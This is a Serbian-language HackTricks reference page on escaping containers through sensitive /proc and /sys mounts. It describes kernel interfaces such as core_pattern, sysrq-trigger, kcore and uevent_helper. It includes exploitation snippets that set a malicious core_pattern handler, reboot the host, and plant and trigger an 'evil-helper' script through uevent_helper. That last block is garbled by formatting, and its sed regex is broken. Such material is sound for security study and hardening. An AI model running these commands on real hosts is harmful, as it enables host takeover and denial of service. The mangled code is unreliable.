Sensitive Mounts

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Izlaganje /proc i /sys bez odgovarajuće izolacije imenskog prostora uvodi značajne sigurnosne rizike, uključujući proširenje površine napada i otkrivanje informacija. Ovi direktorijumi sadrže osetljive datoteke koje, ako su pogrešno konfigurisane ili pristupljene od strane neovlašćenog korisnika, mogu dovesti do bekstva iz kontejnera, modifikacije domaćina ili pružanja informacija koje pomažu daljim napadima. Na primer, nepravilno montiranje -v /proc:/host/proc može zaobići AppArmor zaštitu zbog njegove putem zasnovane prirode, ostavljajući /host/proc nezaštićenim.

Možete pronaći dalje detalje o svakom potencijalnom propustu u https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

procfs Vulnerabilnosti

/proc/sys

Ovaj direktorijum dozvoljava pristup za modifikaciju kernel promenljivih, obično putem sysctl(2), i sadrži nekoliko poddirektorijuma od interesa:

/proc/sys/kernel/core_pattern

  • Opisan u core(5).

  • Omogućava definisanje programa za izvršavanje prilikom generisanja core fajla sa prvih 128 bajtova kao argumentima. Ovo može dovesti do izvršavanja koda ako fajl počinje sa cev |.

  • Primer testiranja i eksploatacije:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Testiraj pristup pisanju
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Postavi prilagođeni rukovalac
sleep 5 && ./crash & # Pokreni rukovaoca

/proc/sys/kernel/modprobe

  • Detaljno opisan u proc(5).

  • Sadrži putanju do učitavača kernel modula, pozvanog za učitavanje kernel modula.

  • Primer provere pristupa:

ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe-u

/proc/sys/vm/panic_on_oom

  • Pomenut u proc(5).

  • Globalna oznaka koja kontroliše da li kernel pravi paniku ili poziva OOM ubijalicu kada se desi OOM uslov.

/proc/sys/fs

  • Prema proc(5), sadrži opcije i informacije o fajl sistemu.

  • Pristup pisanju može omogućiti različite napade uskraćivanjem usluga na domaćinu.

/proc/sys/fs/binfmt_misc

  • Omogućava registrovanje interpretatora za ne-nativne binarne formate na osnovu njihovog magičnog broja.

  • Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je /proc/sys/fs/binfmt_misc/register za pisanje.

  • Relevantan eksploatacioni alat i objašnjenje:

  • Detaljan tutorijal: Video link

Ostali u /proc

/proc/config.gz

  • Može otkriti konfiguraciju kernela ako je CONFIG_IKCONFIG_PROC omogućen.

  • Korisno za napadače da identifikuju ranjivosti u pokrenutom kernelu.

/proc/sysrq-trigger

  • Omogućava pozivanje Sysrq komandi, potencijalno uzrokujući trenutne ponovne pokrete sistema ili druge kritične akcije.

  • Primer ponovnog pokretanja domaćina:

echo b > /proc/sysrq-trigger # Ponovo pokreće domaćina

/proc/kmsg

  • Izlaže poruke kernel prstena.

  • Može pomoći u eksploataciji kernela, otkrivanju adresa i pružanju osetljivih informacija o sistemu.

/proc/kallsyms

  • Navodi simbole kernela i njihove adrese.

  • Bitno za razvoj eksploatacije kernela, posebno za prevazilaženje KASLR-a.

  • Informacije o adresi su ograničene sa kptr_restrict postavljenim na 1 ili 2.

  • Detalji u proc(5).

/proc/[pid]/mem

  • Interfejs sa uređajem kernel memorije /dev/mem.

  • Istoriski ranjiv na napade eskalacije privilegija.

  • Više o proc(5).

/proc/kcore

  • Predstavlja fizičku memoriju sistema u ELF core formatu.

  • Čitanje može otkriti sadržaj memorije domaćina i drugih kontejnera.

  • Veličina fajla može dovesti do problema sa čitanjem ili rušenjem softvera.

  • Detaljna upotreba u Dumping /proc/kcore in 2019.

/proc/kmem

  • Alternativni interfejs za /dev/kmem, predstavlja virtuelnu memoriju kernela.

  • Omogućava čitanje i pisanje, stoga direktnu modifikaciju kernel memorije.

/proc/mem

  • Alternativni interfejs za /dev/mem, predstavlja fizičku memoriju.

  • Omogućava čitanje i pisanje, modifikacija sve memorije zahteva rešavanje virtuelnih u fizičke adrese.

/proc/sched_debug

  • Vraća informacije o rasporedu procesa, zaobilazeći zaštitu PID imenskog prostora.

  • Izlaže imena procesa, ID-ove i identifikatore cgroup-a.

/proc/[pid]/mountinfo

  • Pruža informacije o tačkama montiranja u imenskom prostoru montiranja procesa.

  • Izlaže lokaciju rootfs kontejnera ili slike.

Vulnerabilnosti /sys

/sys/kernel/uevent_helper

  • Koristi se za rukovanje kernel uređajima uevents.

  • Pisanje u /sys/kernel/uevent_helper može izvršiti proizvolne skripte prilikom okidača uevent.

  • Primer eksploatacije: %%%bash

Kreira payload

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Pronalazi putanju domaćina iz OverlayFS montiranja za kontejner

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Postavlja uevent_helper na zlonamerni pomoćnik

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Okida uevent

echo change > /sys/class/mem/null/uevent

Čita izlaz

cat /output %%%

/sys/class/thermal

  • Kontroliše postavke temperature, potencijalno izazivajući DoS napade ili fizičku štetu.

/sys/kernel/vmcoreinfo

  • Otkriva adrese jezgra, potencijalno kompromitujući KASLR.

/sys/kernel/security

  • Sadrži securityfs interfejs, omogućavajući konfigurisanje Linux Security Modula poput AppArmor-a.

  • Pristup može omogućiti kontejneru da onemogući svoj MAC sistem.

/sys/firmware/efi/vars i /sys/firmware/efi/efivars

  • Otkriva interfejse za interakciju sa EFI varijablama u NVRAM-u.

  • Pogrešna konfiguracija ili eksploatacija može dovesti do oštećenja laptopova ili neupotrebljivih host mašina.

/sys/kernel/debug

  • debugfs nudi "bez pravila" interfejs za debagovanje jezgra.

  • Istorija sigurnosnih problema zbog njegove neograničene prirode.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated